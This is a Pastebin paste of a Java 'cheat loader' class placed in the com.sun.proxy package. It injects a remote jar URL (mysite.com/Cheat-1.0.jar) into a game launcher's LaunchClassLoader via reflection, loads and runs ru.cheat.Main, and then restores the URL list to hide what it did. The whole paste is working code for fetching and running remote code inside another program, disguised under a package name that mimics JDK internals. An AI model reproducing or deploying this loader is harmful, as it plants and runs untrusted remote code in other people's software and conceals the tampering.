Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package com.sun.proxy;
- import java.lang.reflect.*;
- import java.net.*;
- import java.util.*;
- public class Proxy1337 extends Thread {
- public Proxy1337() {
- this.setName("SEXLOADER");
- this.setPriority(10);
- this.start();
- }
- @Override
- public void run() {
- try {
- for (final Thread thread : Thread.getAllStackTraces().keySet()) {
- if (thread != null && thread.getContextClassLoader() != null && thread.getContextClassLoader().getClass() != null && thread.getContextClassLoader().getClass().getName() != null && thread.getContextClassLoader().getClass().getName().contains("LaunchClassLoader")) {
- try {
- final Field fld = URLClassLoader.class.getDeclaredField("ucp");
- fld.setAccessible(true);
- final Object ucp = fld.get(thread.getContextClassLoader());
- final Field fld2 = ucp.getClass().getDeclaredField("urls");
- fld2.setAccessible(true);
- final Stack<URL> urls = (Stack<URL>)fld2.get(ucp);
- final Stack<URL> backup = new Stack<URL>();
- for (final URL url : urls) {
- backup.add(url);
- }
- urls.add(new URL("http://mysite.com/Cheat-1.0.jar"));
- thread.getContextClassLoader().loadClass("ru.cheat.Main").newInstance();
- fld2.set(ucp, backup);
- break;
- }
- catch (Exception e) {
- e.printStackTrace();
- }
- }
- }
- }
- catch (Exception ex) {}
- }
- public static void main() {
- new Proxy1337();
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement